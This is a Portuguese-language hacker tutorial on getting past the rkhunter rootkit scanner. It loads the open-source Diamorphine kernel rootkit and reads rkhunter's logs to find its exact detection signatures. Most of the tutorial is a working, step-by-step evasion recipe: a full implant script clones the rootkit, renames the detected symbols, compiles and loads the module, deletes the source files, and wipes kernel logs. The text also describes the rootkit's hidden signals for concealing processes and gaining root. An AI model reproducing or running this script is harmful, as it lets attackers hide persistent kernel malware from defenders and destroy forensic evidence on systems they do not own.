############################################################# # /usr/bin/rkhunter --check # #⠀⠀⠀ ⢰⡆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ # #⠀⠀⠀ ⠘⡇⠀⠀⠀⢠⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ # #⠀⠀⠀⠀ ⢷⠀⢠⢣⡏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ # #⠀⠀⠀⠀ ⢘⣷⢸⣾⣇⣶⣦⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ # #⠀⠀⠀⠀⠀ ⣿⣿⣿⣹⣿⣿⣷⣿⣆⣀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ # #⠀⠀⠀⠀⠀ ⢼⡇⣿⣿⣽⣶⣶⣯⣭⣷⣶⣿⣿⣶⠀⠀⠀⠀⠀⠀⠀ MatheuZ presents # #⠀⠀⠀⠀⠀ ⠸⠣⢿⣿⣿⣿⣿⡿⣛⣭⣭⣭⡙⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ # #⠀⠀⠀⠀⠀⠀⠀ ⠸⣿⣿⣿⣿⣿⠿⠿⠿⢯⡛⠀⠀⠀⠀⠀⠀⠀// Linux Defense Evasion # #⠀⠀⠀⠀⠀⠀ ⠀⠀⢠⣿⣿⣿⣿⣾⣿⡿⡷⢿⡄⠀⠀⠀⠀⠀⠀⠀// Bypass rkhunter # #⠀⠀⠀⠀⠀ ⠀⠀⡔⣺⣿⣿⣽⡿⣿⣿⣿⣟⡳⠦⠀⠀⠀⠀⠀ # #⠀⠀⠀⠀ ⠀⠀⢠⣭⣾⣿⠃⣿⡇⣿⣿⡷⢾⣭⡓⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ # #⠀⠀⠀ ⠀⠀⠀⣾⣿⡿⠷⣿⣿⡇⣿⣿⣟⣻⠶⣭⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ # #⠀⠀ ⠀⠀⠀⠀⣋⣵⣞⣭⣮⢿⣧⣝⣛⡛⠿⢿⣦⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ # #⠀ ⣀⣀⣠⣶⣿⣿⣿⣿⡿⠟⣼⣿⡿⣟⣿⡇⠀⠙⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ # # ⡼⣿⣿⣿⢟⣿⣿⣿⣷⡿⠿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ # #⠀⠀⠉⠁⠀⢉⣭⣭⣽⣯⣿⣿⢿⣫⣮⣅⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ # #⠀⠀⠀⠀⢀⣿⣟⣽⣿⣿⣿⣿⣾⣿⣿⣯⡛⠻⢷⣶⣤⣄⡀⠀⠀⠀⠀⠀⠀⠀ # #⠀⠀⠀⢀⡞⣾⣿⣿⣿⣿⡟⣿⣿⣽⣿⣿⡿⠀⠀⠀⠈⠙⠛⠿⣶⣤⣄⡀⠀⠀ # #⠀⠀⠀⣾⣸⣿⣿⣷⣿⣿⢧⣿⣿⣿⣿⣿⣷⠁⠀⠀⠀⠀⠀⠀⠀⠈⠙⠻⢷⣦ # #⠀⠀⠀⡿⣛⣛⣛⣛⣿⣿⣸⣿⣿⣿⣻⣿⣿⠆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ # #⠀⠀⢸⡇⣿⣿⣿⣿⣿⡏⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ # #⠀⠀⠀⢰⣶⣶⣶⣾⣿⢃⣿⣿⣿⣿⣯⣿⣭⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ # ############################################################# ----( Table of contents )---- 1 - O que é um rootkit LKM? 2 - O que é o rkhunter? 3 - Como os antivirus baseados em assinatura e os rootkit checkers funcionam. 4 - Apresentando o rootkit diamorphine (criado pelo m0nad) e usando o rkhunter. 5 - Se aproveitando dos logs do rkhunter para poder efetuar o bypass. 5 - Finalização. ---[ O que é um rootkit LKM? ]--- Um rootkit LKM (Loadable Kernel Module) é um software malicioso que se instala no nível do kernel, chamado ring0 (nível do kernel). Ele permite que o atacante ganhe total controle do sistema, ocultando suas ações e sendo difícil de detectar e remover. As técnicas usadas pelos LKM rootkits variam, mas algumas das mais "comuns" são: 1. Hooking: Modifica as tabelas de ponteiros do kernel para desviar a execução de certas funções e ocultar sua presença. 2. Ocultar processos e arquivos: Manipula as listas de arquivos e processos do sistema para ocultar arquivos e processos. 3. Modificação do sistema de arquivos: Pode alterar os resultados de comandos como "ls" para não mostrar certos arquivos ou diretórios. 4. Interceptação de chamadas (intercept syscalls) ao sistema: Intercepta e modifica as chamadas do sistema (syscalls) para evitar detecção, permitir ações maliciosas, e também para poder manter sua persistência. Esses são alguns dos tipos de "features/técnicas" mais comuns e usados em um rootkit LKM, pois existem várias outras técnicas. ---[ O que é o rkhunter? ]--- O rkhunter (Rootkit Hunter) é uma ferramenta de segurança projetada para sistemas Linux/Unix. Ele escaneia e identifica rootkits, malware e atividades maliciosas comparando os dados do sistema com um banco de dados de assinaturas de ameaças. Embora seja bem útil, não é infalível, pois o rkhunter é baseado em assinatura e é bastante fácil de efetuar um bypass, isso deve ser complementado com outras ferramentas e práticas de segurança para garantir uma proteção mais "eficaz" do sistema. ---[ Como os antivirus baseados em assinatura e os rootkit checkers funcionam. ]--- Um antivírus baseado em assinatura é um software de segurança que procura por padrões de malware já conhecidos em arquivos, processos e diretório. Ele usa uma assinatura atualizada regularmente banco de dados para identificar e eliminar ameaças que já são conhecidas. Esse tipo de antivírus requer atualizações bastante frequentes para acompanhar com novas ameaças, mas pode sofrer bastante para detectar ameaças desconhecidas e variantes de malware. Em resumo, antivirus com base em assinatura é eficaz contra ameaças que já são conhecidas, mas têm uma grande limitação na detecção de ameaças personalizadas ou desconhecidas; Já os "rootkit checkers" são ferramentas que buscam identificar rootkits, que são tipos de malware que tem como objetivo principal se esconder. Essas ferramentas usam assinaturas, que são padrões únicos associados a rootkits que ja são conhecidos, para identificar a presença desses programas maliciosos. Eles examinam os arquivos, processos e registros do sistema em busca de correspondências com as assinaturas em um banco de dados. Se encontram uma correspondência, alertam o usuário ou tomam medidas para remover ou neutralizar o rootkit. No entanto, essa abordagem tem limitações, pois não consegue detectar rootkits novos ou sofisticados que não correspondam às assinaturas conhecidas. ---[ Apresentando o rootkit diamorphine (criado pelo m0nad) e usando o rkhunter ]--- o rootkit diamorphine é um projeto de código aberto (opensource) criado pelo m0nad. O diamorphine é um LKM (Loadable Kernel Module), uma feature interessante do diamorphine é que quando ele é carregado, ele se auto esconde, então você não pode ver o módulo usando "lsmod" por exemplo. O diamorphine também faz um "hook" no kill, que é como o seu manipulador, nele vocẽ tem como usar o "kill -31 PID" pra ocultar um processo, "kill -63 0" para fazer o rootkit reaparecer e se esconder novamente, "kill -64 0" para poder se tornar root mesmo você sendo um usuário comum e com minimo privilégio possível. Além disso, o diamorphine tem um "MAGIC_PREFIX", que quando você cria um diretório chamado "diamorphine_secret_test" que ele esconde de "ls" e qualquer comando que possa imprimir diretórios na tela e conteúdo em uma pasta. Isso acontece por que o diamorphine faz um hooking na syscall "getdents" e na "getdents64". E com essa implementação o rootkit "intercepta" as chamadas para getdents e getdents64, modificando os resultados retornados. Assim, quando um comando como "ls" é executado, o rootkit oculta os diretórios maliciosos da listagem, tornando-os invisíveis para o usuário e para as ferramentas padrão do sistema. [ ] Agora vamos baixar o rootkit diamorphine em nossa máquina: ◣━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━◢ kali@kali /var/tmp/.cache ❯ git clone https://github.com/m0nad/Diamorphine Cloning into 'Diamorphine'... remote: Enumerating objects: 141, done. remote: Counting objects: 100% (65/65), done. remote: Compressing objects: 100% (23/23), done. remote: Total 141 (delta 53), reused 42 (delta 42), pack-reused 76 Receiving objects: 100% (141/141), 32.26 KiB | 2.30 MiB/s, done. Resolving deltas: 100% (77/77), done. kali@kali /var/tmp/.cache ❯ cd Diamorphine/ kali@kali /var/tmp/.cache/Diamorphine (master) ❯ ls diamorphine.c diamorphine.h LICENSE.txt Makefile README.md kali@kali /var/tmp/.cache/Diamorphine (master) ❯ make make -C /lib/modules/6.1.0-kali7-amd64/build M=/var/tmp/.cache/Diamorphine modules make[1]: Entering directory '/usr/src/linux-headers-6.1.0-kali7-amd64' CC [M] /var/tmp/.cache/Diamorphine/diamorphine.o MODPOST /var/tmp/.cache/Diamorphine/Module.symvers CC [M] /var/tmp/.cache/Diamorphine/diamorphine.mod.o LD [M] /var/tmp/.cache/Diamorphine/diamorphine.ko BTF [M] /var/tmp/.cache/Diamorphine/diamorphine.ko Skipping BTF generation for /var/tmp/.cache/Diamorphine/diamorphine.ko due to unavailability of vmlinux make[1]: Leaving directory '/usr/src/linux-headers-6.1.0-kali7-amd64' kali@kali /var/tmp/.cache/Diamorphine (master) ❯ sudo insmod diamorphine.ko kali@kali /var/tmp/.cache/Diamorphine (master) ❯ lsmod|grep diamorphine kali@kali /var/tmp/.cache/Diamorphine (master) [1] ❯ ◤━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━◥ [ ] Bom, agora com o rootkit carregado, vamos testar o rkhunter para ver se ele consegue detectar o rootkit diamorphine. ◣━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━◢ Checking for rootkits... Performing check of known rootkit files and directories 55808 Trojan - Variant A [ Not found ] ADM Worm [ Not found ] AjaKit Rootkit [ Not found ] Adore Rootkit [ Not found ] aPa Kit [ Not found ] Apache Worm [ Not found ] Ambient (ark) Rootkit [ Not found ] Balaur Rootkit [ Not found ] BeastKit Rootkit [ Not found ] beX2 Rootkit [ Not found ] BOBKit Rootkit [ Not found ] cb Rootkit [ Not found ] CiNIK Worm (Slapper.B variant) [ Not found ] Danny-Boy's Abuse Kit [ Not found ] Devil RootKit [ Not found ] Diamorphine LKM [ Not found ] Dica-Kit Rootkit [ Not found ] Dreams Rootkit [ Not found ] ◤━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━◥ Podemos perceber que mesmo com o rootkit diamorphine carregado, e sem alterar nenhuma função no código, o rkhunter não conseguiu detectar o diamorphine. - Mas por que isso acontece? Bom, a respota é bem simples! O rkhunter não conseguiu detectar pois o diamorphine está escondido, então se ele está escondido, certamente o rkhunter não irá conseguir detectar, isso é uma vantagem muito boa que o diamorphine tem! Que é quando inserido, ele se auto esconder. - Mas e se fizermos o rootkit reaparecer? O rkhunter vai conseguir detectar? A resposta é sim! Mas primeiro temos que fazer o rootkit diamorphine reaparecer: ◣━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━◢ kali@kali /var/tmp/.cache/Diamorphine (master) ❯ kill -63 0 kali@kali /var/tmp/.cache/Diamorphine (master) ❯ lsmod|grep diamorphine diamorphine 16384 0 kali@kali /var/tmp/.cache/Diamorphine (master) ❯ ◤━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━◥ [ ] Agora vamos rodar o rkhunter outra: ◣━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━◢ Checking for rootkits... Performing check of known rootkit files and directories 55808 Trojan - Variant A [ Not found ] ADM Worm [ Not found ] AjaKit Rootkit [ Not found ] Adore Rootkit [ Not found ] aPa Kit [ Not found ] Apache Worm [ Not found ] Ambient (ark) Rootkit [ Not found ] Balaur Rootkit [ Not found ] BeastKit Rootkit [ Not found ] beX2 Rootkit [ Not found ] BOBKit Rootkit [ Not found ] cb Rootkit [ Not found ] CiNIK Worm (Slapper.B variant) [ Not found ] Danny-Boy's Abuse Kit [ Not found ] Devil RootKit [ Not found ] Diamorphine LKM [ Warning ] Dica-Kit Rootkit [ Not found ] ◤━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━◥ Bem como esperado, o rkhunter detectou o rootkit diamorphine. - Mas como saber exatamente o que o rkhunter busca, por quais strings exatas? por quais assinaturas? Por padrão após rodar o rkhunter para fazer uma verificação, ele guarda seus logs em "/var/log/rkhunter.log", e nós podemos visualizar este arquivo de logs e descobrir por quais assinaturas ele procura pelas ameaças já conhecidas. ◣━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━◢ [16:15:05] Checking for Diamorphine LKM... [16:15:05] Checking for kernel symbol 'diamorphine' [ Found ] [16:15:05] Checking for kernel symbol 'module_hide' [ Found ] [16:15:06] Checking for kernel symbol 'module_hidden' [ Found ] [16:15:06] Checking for kernel symbol 'is_invisible' [ Found ] [16:15:06] Checking for kernel symbol 'hacked_getdents' [ Found ] [16:15:06] Checking for kernel symbol 'hacked_kill' [ Found ] [16:15:06] Warning: Diamorphine LKM [ Warning ] [16:15:06] Kernel symbol 'diamorphine' found [16:15:07] Kernel symbol 'module_hide' found [16:15:07] Kernel symbol 'module_hidden' found [16:15:07] Kernel symbol 'is_invisible' found [16:15:07] Kernel symbol 'hacked_getdents' found [16:15:07] Kernel symbol 'hacked_kill' found [16:15:07] ◤━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━◥ Agora que sabemos exatamente as assinaturas e as strings que o rkhunter procura pelo diamorphine rootkit, nós podemos tirar um grande aproveito disso para podermos efetuar um bypass. ---[ Se aproveitando dos logs do rkhunter para poder efetuar o bypass. ]--- Para poder mostrar esse bypass no rkhunter usando o rootkit diamorphine de exemplo, irei usar minha ferramenta com o foco em persistência chamada "D3m0n1z3dShell" - "https://github.com/MatheuZSecurity/D3m0n1z3dShell". ◣━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━◢ kali@kali /var/tmp/.cache/D3m0n1z3dShell (main) ❯ chmod +x implant_rootkit.sh kali@kali /var/tmp/.cache/D3m0n1z3dShell (main) ❯ cat implant_rootkit.sh #!/bin/bash if [[ $(id -u) -ne 0 ]]; then echo "[ERROR] You must run this script as root" >&2 exit 1 fi command -v insmod >/dev/null 2>&1 || { echo >&2 "[ERROR] insmod command not found. Please install it."; exit 1; } command -v gcc >/dev/null 2>&1 || { echo >&2 "[ERROR] gcc command not found. Please install it."; exit 1; } dir() { mkdir -p /var/tmp/.cache } get_rootkit(){ git clone https://github.com/m0nad/Diamorphine /var/tmp/.cache } modify_rk(){ mv /var/tmp/.cache/diamorphine.c /var/tmp/.cache/rk.c mv /var/tmp/.cache/diamorphine.h /var/tmp/.cache/rk.h sed -i 's/diamorphine_secret/demonized/g' /var/tmp/.cache/rk.h sed -i 's/diamorphine/demonizedmod/g' /var/tmp/.cache/rk.h sed -i 's/63/62/g' /var/tmp/.cache/rk.h sed -i 's/diamorphine.h/rk.h/g' /var/tmp/.cache/rk.c sed -i 's/diamorphine_init/rk_init/g' /var/tmp/.cache/rk.c sed -i 's/diamorphine_cleanup/rk_cleanup/g' /var/tmp/.cache/rk.c sed -i 's/diamorphine.o/rk.o/g' /var/tmp/.cache/Makefile sed -i 's/module_hide/module_h1dd3/g' /var/tmp/.cache/rk.c sed -i 's/module_hidden/module_h1dd3n/g' /var/tmp/.cache/rk.c sed -i 's/is_invisible/e_invisible/g' /var/tmp/.cache/rk.c sed -i 's/hacked_getdents/hack_getdents/g' /var/tmp/.cache/rk.c sed -i 's/hacked_kill/h4ck_kill/g' /var/tmp/.cache/rk.c } make_rk(){ make -C /var/tmp/.cache/ } load_rk(){ insmod /var/tmp/.cache/rk.ko } clean_files(){ make clean -C /var/tmp/.cache/ rm -rf /var/tmp/.cache } remove_logs(){ dmesg -C echo "" > /var/log/kern.log } clear dir && get_rootkit && modify_rk && make_rk && load_rk && clean_files && remove_logs / clear scs="[*] Success! Rootkit has been implanted. [*]" for i in $(seq 1 ${#scs}); do echo -ne "${scs:i-1:1}" sleep 0.08 done echo -ne "\n" clear kali@kali /var/tmp/.cache/D3m0n1z3dShell (main) ❯ ◤━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━◥ Bom, resumidamente neste script além de criar o diretório e clonar o repositório do diamorphine, nós vamos trocar o nome do diamorphine.c, diamorphine.h, e substutuir as strings/assinatura que o rkhunter detecta no diamorphine assim como está nos logs, e subsituir por outros nomes. Bom, agora é so rodar o script que já faz tudo automaticamente. ◣━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━◢ kali@kali ~ ❯ kill -62 0 kali@kali ~ ❯ lsmod|grep rk rk 16384 0 kali@kali ~ ❯ ◤━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━◥ Agora com o rootkit visível, vamos rodar o rkhunter e depois visualizar os logs para ver se ele realmente encontra o diamorphine após fazer essas mudanças. ◣━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━◢ Checking for rootkits... Performing check of known rootkit files and directories 55808 Trojan - Variant A [ Not found ] ADM Worm [ Not found ] AjaKit Rootkit [ Not found ] Adore Rootkit [ Not found ] aPa Kit [ Not found ] Apache Worm [ Not found ] Ambient (ark) Rootkit [ Not found ] Balaur Rootkit [ Not found ] BeastKit Rootkit [ Not found ] beX2 Rootkit [ Not found ] BOBKit Rootkit [ Not found ] cb Rootkit [ Not found ] CiNIK Worm (Slapper.B variant) [ Not found ] Danny-Boy's Abuse Kit [ Not found ] Devil RootKit [ Not found ] Diamorphine LKM [ Not found ] Dica-Kit Rootkit [ Not found ] ^C⏎ kali@kali ~ [130] ❯ lsmod|grep rk rk 16384 0 kali@kali ~ ❯ ◤━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━◥ [ ] Logs do rkhunter ◣━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━◢ [16:47:57] Checking for Diamorphine LKM... [16:47:58] Checking for kernel symbol 'diamorphine' [ Not found ] [16:47:58] Checking for kernel symbol 'module_hide' [ Not found ] [16:47:58] Checking for kernel symbol 'module_hidden' [ Not found ] [16:47:58] Checking for kernel symbol 'is_invisible' [ Not found ] [16:47:58] Checking for kernel symbol 'hacked_getdents' [ Not found ] [16:47:59] Checking for kernel symbol 'hacked_kill' [ Not found ] [16:47:59] Diamorphine LKM [ Not found ] [16:47:59] ◤━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━◥ E pronto! dessa vez mesmo com o rootkit visível, o rkhunter não conseguiu detectá-lo, por que graças aos logs conseguimos obter as exatas assinaturas/strings que o rkhunter usa para poder detectar o rootkit diamorphine que usei neste exemplo. [ ] Bônus É interessante sabermos que quando trocamos qualquer string, função etc, de um código, de um txt, e etc, a sua assinatura ela muda, como por exemplo: ◣━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━◢ kali@kali ~ ❯ echo "assinatura inicial" > assinatura.txt kali@kali ~ ❯ sha256sum assinatura.txt && md5sum assinatura.txt 87c5b2999d0af090b93fe4aac2a9e50e70c59796cbfad7c6cacbd0b3c05a457f assinatura.txt 50d393f39aa9f293de141703f26c3344 assinatura.txt kali@kali ~ ❯ echo "outra assinatura" > assinatura.txt kali@kali ~ ❯ sha256sum assinatura.txt && md5sum assinatura.txt 30adbc3130169d4aa222342c0d79f1f7b2b11fe227fc1490299714378a3525d9 assinatura.txt da9a8c2592e3f49760e125cc3d174f66 assinatura.txt kali@kali ~ ❯ ◤━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━◥ ---[ Finalização ]--- Bom pessoal, quero agradecer a todos que leram este paper, para quaisquer dúvidas estou disponível para poder ajudá-los, bom até a próxima! Cya hackers xD. ,----------------, ,---------, ,-----------------------, ," ,"| ," ,"| ," ," | +-----------------------+ | ," ," | | .-----------------. | | +---------+ | | | | | | | -==----'| | | | kill `ps aux`; | | | | | | | | | | |/----|`---= | | | | lost connection.| | | ,/|==== ooo | ; | | | | | // |(((( [33]| ," | `-----------------' |," .;'| |(((( | ," +-----------------------+ ;; | | |," - Matheuz. /_)______________(_/ //' | +---------+ ___________________________/___ `, / oooooooooooooooo .o. oooo /, \,"----------- / ==ooooooooooooooo==.o. ooo= // ,`\--{)B ," /_==__==========__==_ooo__ooo=_/' /___________," `-----------------------------'